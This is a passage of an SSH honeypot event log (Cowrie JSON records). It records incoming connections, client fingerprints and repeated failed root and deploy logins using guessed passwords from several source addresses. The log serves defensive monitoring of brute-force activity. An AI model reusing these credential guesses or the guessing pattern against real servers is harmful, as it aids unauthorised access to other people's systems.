{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:20.310417Z","src_ip":"213.209.159.158","session":"340901b51d99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":39856,"dst_ip":"10.17.0.5","dst_port":22,"session":"f430af58df93","protocol":"ssh","message":"New connection: 78.44.192.210:39856 (10.17.0.5:22) [session: f430af58df93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:20.807617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:20.814597Z","src_ip":"78.44.192.210","session":"f430af58df93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:20.928977Z","src_ip":"78.44.192.210","session":"f430af58df93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz123!@#","message":"login attempt [root/Qaz123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:21.398870Z","src_ip":"78.44.192.210","session":"f430af58df93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:22.507639Z","src_ip":"78.44.192.210","session":"f430af58df93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"whatthefuck","message":"login attempt [root/whatthefuck] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:25.866040Z","src_ip":"213.209.159.158","session":"340901b51d99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:28.131687Z","src_ip":"213.209.159.158","session":"340901b51d99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":24718,"dst_ip":"159.203.135.109","dst_port":22,"session":"24ffc6e46272","protocol":"ssh","message":"New connection: 213.209.159.158:24718 (159.203.135.109:22) [session: 24ffc6e46272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:28.221801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:29.710026Z","src_ip":"213.209.159.158","session":"24ffc6e46272","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:29.713973Z","src_ip":"213.209.159.158","session":"24ffc6e46272","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.148.224.183","src_port":48190,"dst_ip":"159.203.135.109","dst_port":22,"session":"79c7e12e7a0b","protocol":"ssh","message":"New connection: 186.148.224.183:48190 (159.203.135.109:22) [session: 79c7e12e7a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:30.451265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:31.077971Z","src_ip":"186.148.224.183","session":"79c7e12e7a0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:31.082151Z","src_ip":"186.148.224.183","session":"79c7e12e7a0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ww123456789","message":"login attempt [root/Ww123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:31.715856Z","src_ip":"186.148.224.183","session":"79c7e12e7a0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:32.907780Z","src_ip":"186.148.224.183","session":"79c7e12e7a0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wsx!","message":"login attempt [root/wsx!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:34.953206Z","src_ip":"213.209.159.158","session":"24ffc6e46272","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:37.275077Z","src_ip":"213.209.159.158","session":"24ffc6e46272","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":20576,"dst_ip":"159.203.135.109","dst_port":22,"session":"cae152c56ca0","protocol":"ssh","message":"New connection: 213.209.159.158:20576 (159.203.135.109:22) [session: cae152c56ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:37.385360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:38.915213Z","src_ip":"213.209.159.158","session":"cae152c56ca0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:38.919557Z","src_ip":"213.209.159.158","session":"cae152c56ca0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warriors","message":"login attempt [root/warriors] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:44.335928Z","src_ip":"213.209.159.158","session":"cae152c56ca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:46.743692Z","src_ip":"213.209.159.158","session":"cae152c56ca0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":55004,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4c32115631a","protocol":"ssh","message":"New connection: 213.209.159.158:55004 (159.203.135.109:22) [session: c4c32115631a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:46.842599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:48.217659Z","src_ip":"213.209.159.158","session":"c4c32115631a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:48.221230Z","src_ip":"213.209.159.158","session":"c4c32115631a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"webroot","message":"login attempt [root/webroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:53.714589Z","src_ip":"213.209.159.158","session":"c4c32115631a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.241.42","src_port":44202,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa97c2736f75","protocol":"ssh","message":"New connection: 103.154.241.42:44202 (159.203.135.109:22) [session: fa97c2736f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:54.969802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:54.976752Z","src_ip":"103.154.241.42","session":"fa97c2736f75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:55.227290Z","src_ip":"103.154.241.42","session":"fa97c2736f75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:56.205138Z","src_ip":"213.209.159.158","session":"c4c32115631a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"a","message":"login attempt [deploy/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:56.260531Z","src_ip":"103.154.241.42","session":"fa97c2736f75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":55034,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7aabce5e427","protocol":"ssh","message":"New connection: 213.209.159.158:55034 (159.203.135.109:22) [session: f7aabce5e427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:56.312910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:57.442228Z","src_ip":"213.209.159.158","session":"f7aabce5e427","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:57.446667Z","src_ip":"213.209.159.158","session":"f7aabce5e427","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:57.519227Z","src_ip":"103.154.241.42","session":"fa97c2736f75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wsx999","message":"login attempt [root/wsx999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:02.942103Z","src_ip":"213.209.159.158","session":"f7aabce5e427","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:05.504357Z","src_ip":"213.209.159.158","session":"f7aabce5e427","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":2280,"dst_ip":"159.203.135.109","dst_port":22,"session":"51860ab43136","protocol":"ssh","message":"New connection: 213.209.159.158:2280 (159.203.135.109:22) [session: 51860ab43136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:05.611594Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":54328,"dst_ip":"10.17.0.5","dst_port":22,"session":"d70354d9afba","protocol":"ssh","message":"New connection: 194.113.233.25:54328 (10.17.0.5:22) [session: d70354d9afba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:06.375967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:06.384102Z","src_ip":"194.113.233.25","session":"d70354d9afba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sh